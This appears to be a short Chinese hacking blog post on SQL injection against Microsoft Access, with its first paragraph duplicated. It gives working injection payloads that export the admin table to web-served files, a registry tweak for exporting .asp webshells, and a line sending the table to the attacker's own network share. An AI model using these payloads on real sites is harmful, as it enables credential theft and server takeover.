已经听 N 个人过说有人已经发现 SQL 注入 Access 得到 webshell 的技术了,也只是听说而已,具体的细节还是不得而知。 最近在看的书中一章提到 Jet 的安全,然后灵光一闪,呵呵,发现了一种可以利用 access 导出 asp 的方法,分享之。 几个月之前网上就流传
已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。
最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。
几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txt、htm、html等格式)的方法:
SELECT * into [test.txt] in 'd:/web/' 'text;' from admin |
执行上述语句,在d:/web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。
其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE/Software/Microsoft/Jet/4.0/Engines/Text/DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。
这个方法跟那个调用Access的Shell函数执行命令一样,要修改注册表,所以利用不是很大。
顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in '//yourip/share' 'text;' from admin